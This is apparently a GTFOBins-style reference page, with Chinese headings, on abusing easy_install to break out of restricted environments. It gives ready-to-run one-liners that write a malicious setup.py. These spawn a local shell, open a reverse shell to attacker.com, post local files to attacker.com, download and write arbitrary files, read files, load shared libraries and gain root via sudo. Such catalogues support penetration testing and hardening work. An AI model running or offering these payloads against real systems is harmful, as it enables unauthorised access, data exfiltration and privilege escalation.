.. / easy_install

shell

用来生成一个交互式的系统shell。

• TF=$(mktemp -d)
  echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
  easy_install $TF
  

reverse-shell

向监听的端口发送反向shell，以打开远程网络访问。

• Run socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell.

  export RHOST=attacker.com
  export RPORT=12345
  TF=$(mktemp -d)
  echo 'import sys,socket,os,pty;s=socket.socket()
  s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
  [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
  pty.spawn("/bin/sh")' > $TF/setup.py
  easy_install $TF
  

file-upload

上传文件到外部。

• Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.

  export URL=http://attacker.com/
  export LFILE=要发送的文件
  TF=$(mktemp -d)
  echo 'import sys; from os import environ as e
  if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
  else: import urllib as u, urllib2 as r
  r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' > $TF/setup.py
  easy_install $TF
  

  Serve files in the local folder running an HTTP server.

  export LPORT=8888
  TF=$(mktemp -d)
  echo 'import sys; from os import environ as e
  if sys.version_info.major == 3: import http.server as s, socketserver as ss
  else: import SimpleHTTPServer as s, SocketServer as ss
  ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py
  easy_install $TF
  

file-download

下载远程文件。

• Fetch a remote file via HTTP GET request. The file path must be absolute.

  export URL=http://attacker.com/file_to_get
  export LFILE=/tmp/file_to_save
  TF=$(mktemp -d)
  echo "import os;
  os.execl('$(whereis python)', '$(whereis python)', '-c', \"\"\"import sys;
  if sys.version_info.major == 3: import urllib.request as r
  else: import urllib as r
  r.urlretrieve('$URL', '$LFILE')\"\"\")" > $TF/setup.py
  pip install $TF
  

file-write

将数据写入文件中。

• The file path must be absolute.

  export LFILE=/tmp/file_to_save
  TF=$(mktemp -d)
  echo "import os;
  os.execl('$(whereis python)', 'python', '-c', 'open(\"$LFILE\",\"w+\").write(\"DATA\")')" > $TF/setup.py
  easy_install $TF
  

file-read

从文件中读取数据。

• The read file content is wrapped within program messages.

  TF=$(mktemp -d)
  echo 'print(open("要读取的文件路径").read())' > $TF/setup.py
  easy_install $TF
  

library-load

加载共享库，这些共享库可以被用来在二进制文件的执行上下文中运行代码。

• TF=$(mktemp -d)
  echo 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' > $TF/setup.py
  easy_install $TF
  

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

• TF=$(mktemp -d)
  echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
  sudo easy_install $TF